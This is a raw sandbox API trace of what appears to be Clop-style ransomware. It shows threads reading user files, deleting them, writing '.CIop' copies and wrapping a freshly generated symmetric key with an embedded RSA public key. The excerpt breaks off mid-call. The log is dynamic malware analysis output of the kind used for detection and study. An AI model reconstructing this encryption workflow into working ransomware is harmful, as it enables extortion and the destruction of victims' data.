[0101.493] lstrcpyW (in: lpString1=0x312f368, lpString2="vxT7Wz-UZ XFfNDp.png" | out: lpString1="vxT7Wz-UZ XFfNDp.png") returned="vxT7Wz-UZ XFfNDp.png" [0101.493] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\" [0101.493] SetErrorMode (uMode=0x1) returned 0x1 [0101.493] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\vxT7Wz-UZ XFfNDp.png") returned 56 [0101.493] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\vxT7Wz-UZ XFfNDp.png", dwFileAttributes=0x20) returned 0 [0101.493] StrStrW (lpFirst="vxT7Wz-UZ XFfNDp.png", lpSrch=".CIop") returned 0x0 [0101.493] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\vxT7Wz-UZ XFfNDp.png.CIop") returned 61 [0101.493] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\PrintHood\\vxT7Wz-UZ XFfNDp.png" (normalized: "c:\\users\\ciihmnxmn6ps\\printhood\\vxt7wz-uz xffndp.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 176 os_tid = 0xc70 [0101.572] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.572] lstrcpyW (in: lpString1=0x312f368, lpString2="VX9FUGeY-MvLyFL6.gif" | out: lpString1="VX9FUGeY-MvLyFL6.gif") returned="VX9FUGeY-MvLyFL6.gif" [0101.572] lstrcpyW (in: lpString1=0x312f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0101.572] SetErrorMode (uMode=0x1) returned 0x1 [0101.572] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\VX9FUGeY-MvLyFL6.gif") returned 50 [0101.572] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\VX9FUGeY-MvLyFL6.gif", dwFileAttributes=0x20) returned 1 [0101.573] StrStrW (lpFirst="VX9FUGeY-MvLyFL6.gif", lpSrch=".CIop") returned 0x0 [0101.573] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\VX9FUGeY-MvLyFL6.gif.CIop") returned 55 [0101.573] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\VX9FUGeY-MvLyFL6.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\vx9fugey-mvlyfl6.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0101.574] ReadFile (in: hFile=0x514, lpBuffer=0x2f04f88, nNumberOfBytesToRead=0x1239e, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesRead=0x312e5e8*=0x1239e, lpOverlapped=0x0) returned 1 [0101.576] CloseHandle (hObject=0x514) returned 1 [0101.576] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\VX9FUGeY-MvLyFL6.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\vx9fugey-mvlyfl6.gif")) returned 1 [0101.637] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0101.637] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3270000 [0101.637] SetErrorMode (uMode=0x1) returned 0x1 [0101.637] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f043e0) returned 1 [0101.647] CryptGenKey (in: hProv=0x2f043e0, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x648eb8) returned 1 [0101.667] CryptExportKey (in: hKey=0x648eb8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0101.667] CryptExportKey (in: hKey=0x648eb8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3270000, pdwDataLen=0x312e5ec | out: pbData=0x3270000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0101.667] CryptDestroyKey (hKey=0x648eb8) returned 1 [0101.667] CryptReleaseContext (hProv=0x2f043e0, dwFlags=0x0) returned 1 [0101.668] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\VX9FUGeY-MvLyFL6.gif.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\vx9fugey-mvlyfl6.gif.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0101.668] WriteFile (in: hFile=0x53c, lpBuffer=0x2f04f88*, nNumberOfBytesToWrite=0x1239e, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesWritten=0x312e5d8*=0x1239e, lpOverlapped=0x0) returned 1 [0101.669] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1239e [0101.669] WriteFile (in: hFile=0x53c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0101.669] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x123a5 [0101.670] SetErrorMode (uMode=0x1) returned 0x1 [0101.670] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0101.670] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0101.670] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0101.670] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f04ce8) returned 1 [0101.672] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f04ce8, dwCertEncodingType=0x1, pInfo=0x649b20, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x648eb8) returned 1 [0101.672] CryptEncrypt (in: hKey=0x648eb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0101.672] CryptEncrypt (in: hKey=0x648eb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f04d70*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f04d70*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0101.672] WriteFile (in: hFile=0x53c, lpBuffer=0x2f04d70*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04d70*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0101.672] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.673] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.673] VirtualFree (lpAddress=0x3270000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.673] CloseHandle (hObject=0x53c) returned 1 [0101.675] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\VX9FUGeY-MvLyFL6.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\vx9fugey-mvlyfl6.gif")) returned 0 Thread: id = 177 os_tid = 0xc6c [0101.612] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.612] lstrcpyW (in: lpString1=0x326f368, lpString2="wh 8KrD6eNSHE.gif" | out: lpString1="wh 8KrD6eNSHE.gif") returned="wh 8KrD6eNSHE.gif" [0101.612] lstrcpyW (in: lpString1=0x326f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0101.612] SetErrorMode (uMode=0x1) returned 0x1 [0101.612] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\wh 8KrD6eNSHE.gif") returned 47 [0101.612] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\wh 8KrD6eNSHE.gif", dwFileAttributes=0x20) returned 1 [0101.612] StrStrW (lpFirst="wh 8KrD6eNSHE.gif", lpSrch=".CIop") returned 0x0 [0101.612] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\wh 8KrD6eNSHE.gif.CIop") returned 52 [0101.612] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\wh 8KrD6eNSHE.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh 8krd6enshe.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0101.613] ReadFile (in: hFile=0x53c, lpBuffer=0x2ef0048, nNumberOfBytesToRead=0xe78f, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesRead=0x326e5e8*=0xe78f, lpOverlapped=0x0) returned 1 [0101.614] CloseHandle (hObject=0x53c) returned 1 [0101.614] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\wh 8KrD6eNSHE.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh 8krd6enshe.gif")) returned 1 [0101.615] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0101.615] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0101.615] SetErrorMode (uMode=0x1) returned 0x1 [0101.615] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x2f04bd8) returned 1 [0101.627] CryptGenKey (in: hProv=0x2f04bd8, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x648e78) returned 1 [0101.696] CryptExportKey (in: hKey=0x648e78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0101.697] CryptExportKey (in: hKey=0x648e78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x326e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0101.697] CryptDestroyKey (hKey=0x648e78) returned 1 [0101.697] CryptReleaseContext (hProv=0x2f04bd8, dwFlags=0x0) returned 1 [0101.697] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\wh 8KrD6eNSHE.gif.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh 8krd6enshe.gif.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x53c [0101.697] WriteFile (in: hFile=0x53c, lpBuffer=0x2ef0048*, nNumberOfBytesToWrite=0xe78f, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesWritten=0x326e5d8*=0xe78f, lpOverlapped=0x0) returned 1 [0101.698] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe78f [0101.698] WriteFile (in: hFile=0x53c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0101.698] SetFilePointer (in: hFile=0x53c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe796 [0101.698] SetErrorMode (uMode=0x1) returned 0x1 [0101.698] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0101.699] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0101.699] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0101.699] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x2f04710) returned 1 [0101.707] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f04710, dwCertEncodingType=0x1, pInfo=0x649f30, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x6493f8) returned 1 [0101.707] CryptEncrypt (in: hKey=0x6493f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0101.707] CryptEncrypt (in: hKey=0x6493f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f04138*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f04138*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0101.707] WriteFile (in: hFile=0x53c, lpBuffer=0x2f04138*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04138*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0101.707] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.708] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.708] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.708] CloseHandle (hObject=0x53c) returned 1 [0101.791] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\wh 8KrD6eNSHE.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh 8krd6enshe.gif")) returned 0 Thread: id = 178 os_tid = 0xc5c [0101.701] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0101.701] lstrcpyW (in: lpString1=0x347f368, lpString2="xj7qoX0- 7l3FO.mkv" | out: lpString1="xj7qoX0- 7l3FO.mkv") returned="xj7qoX0- 7l3FO.mkv" [0101.701] lstrcpyW (in: lpString1=0x347f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0101.701] SetErrorMode (uMode=0x1) returned 0x1 [0101.701] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xj7qoX0- 7l3FO.mkv") returned 48 [0101.701] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xj7qoX0- 7l3FO.mkv", dwFileAttributes=0x20) returned 1 [0101.702] StrStrW (lpFirst="xj7qoX0- 7l3FO.mkv", lpSrch=".CIop") returned 0x0 [0101.702] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xj7qoX0- 7l3FO.mkv.CIop") returned 53 [0101.702] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xj7qoX0- 7l3FO.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\xj7qox0- 7l3fo.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc [0101.702] ReadFile (in: hFile=0x5cc, lpBuffer=0x685cd0, nNumberOfBytesToRead=0x5313, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesRead=0x347e5e8*=0x5313, lpOverlapped=0x0) returned 1 [0101.703] CloseHandle (hObject=0x5cc) returned 1 [0101.703] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xj7qoX0- 7l3FO.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\xj7qox0- 7l3fo.mkv")) returned 1 [0101.741] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0101.742] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0101.742] SetErrorMode (uMode=0x1) returned 0x1 [0101.742] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x2f043e0) returned 1 [0101.754] CryptGenKey (in: hProv=0x2f043e0, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x648ef8) returned 1 [0101.826] CryptExportKey (in: hKey=0x648ef8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0101.826] CryptExportKey (in: hKey=0x648ef8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x347e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0101.826] CryptDestroyKey (hKey=0x648ef8) returned 1 [0101.826] CryptReleaseContext (hProv=0x2f043e0, dwFlags=0x0) returned 1 [0101.826] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\xj7qoX0- 7l3FO.mkv.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\xj7qox0- 7l3fo.mkv.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0101.841] WriteFile (in: hFile=0x5e4, lpBuffer=0x685cd0*, nNumberOfBytesToWrite=0x5313, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesWritten=0x347e5d8*=0x5313, lpOverlapped=0x0) returned 1 [0101.842] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5313 [0101.842] WriteFile (in: hFile=0x5e4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0101.842] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x531a [0101.842] SetErrorMode (uMode=0x1) returned 0x1 [0101.842] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0101.842] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho 